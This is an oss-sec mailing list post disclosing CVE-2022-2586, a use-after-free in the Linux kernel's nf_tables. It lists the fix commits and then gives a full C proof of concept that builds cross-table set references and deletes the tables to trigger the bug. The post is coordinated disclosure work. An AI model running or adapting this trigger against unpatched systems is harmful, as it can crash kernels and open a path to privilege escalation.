oss-sec mailing list archives
Re: CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF
From: Thadeu Lima de Souza Cascardo <cascardo () canonical com>
Date: Wed, 17 Aug 2022 17:26:52 -0300
On Tue, Aug 09, 2022 at 02:10:35PM -0300, Thadeu Lima de Souza Cascardo wrote:
CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF
It was discovered that a nft object or expression could reference a nft set on
a different nft table, leading to a use-after-free once that table was deleted.
Team Orca of Sea Security (@seasecresponse) working with Trend Micro's Zero Day
Initiative discovered that this vulnerability could be exploited for Local
Privilege Escalation. This has been reported as ZDI-CAN-17470, and assigned
CVE-2022-2586.
This bug was introduced by commit 958bee14d071 ("netfilter: nf_tables: use new
transaction infrastructure to handle sets"), which is present since v3.16-rc1.
Exploiting it requires CAP_NET_ADMIN in any user or network namespace.
A PoC that will trigger KASAN is going to be posted in a week.
Fixes have been sent to netfilter-devel () vger kernel org and are at
https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo () canonical com/T/#t.
These have been merged as commits:
470ee20e069a6d05ae549f7d0ef2bdbcee6a81b2
95f466d22364a33d183509629d0879885b4f547e
36d5b2913219ac853908b0f1c664345e04313856
And here is the PoC. It should be linked to libmnl and libnftnl.
#include <netdb.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <err.h>
int main(int arg, char **argv)
{
struct mnl_socket *s;
struct mnl_nlmsg_batch *batch;
struct nlmsghdr *nh;
char buf[16384];
int r;
int seq = 0;
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
err(1, "failed to create netfilter socket");
/* Create table that will be deleted */
char *table_name = "table1";
struct nftnl_table *table;
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
/* Create table where an object reference will be */
char *table2_name = "table2";
struct nftnl_table *table2;
table2 = nftnl_table_alloc();
nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name);
/* Create object and add it to table1 */
char *obj_name = "obj1";
struct nftnl_obj *obj;
obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
/* Add set to table2 */
char *set_name = "set1";
struct nftnl_set *set;
set = nftnl_set_alloc();
nftnl_set_set_str(set, NFTNL_SET_TABLE, table2_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT|NFT_SET_ANONYMOUS);
nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
/* Now create a reference to the object at table1 */
/* Aha! So this seems to be possible because one can refer to a set in a batch by use of SET_ID instead of
SET_NAME */
/* So this must be in the same batch. */
struct nftnl_set *sx = nftnl_set_alloc();
struct nftnl_set_elem *slem = nftnl_set_elem_alloc();
int klen[64];
nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, 8);
nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_name);
nftnl_set_elem_add(sx, slem);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_table_nlmsg_build_payload(nh, table2);
mnl_nlmsg_batch_next(batch);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_set_nlmsg_build_payload(nh, set);
mnl_nlmsg_batch_next(batch);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_set_elems_nlmsg_build_payload(nh, sx);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
err(1, "failed to send message");
/* Delete table with the object */
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
/* Delete second table */
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_table_nlmsg_build_payload(nh, table2);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
return 0;
}
Current thread:
- CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF Thadeu Lima de Souza Cascardo (Aug 09)
- Re: CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF Thadeu Lima de Souza Cascardo (Aug 18)
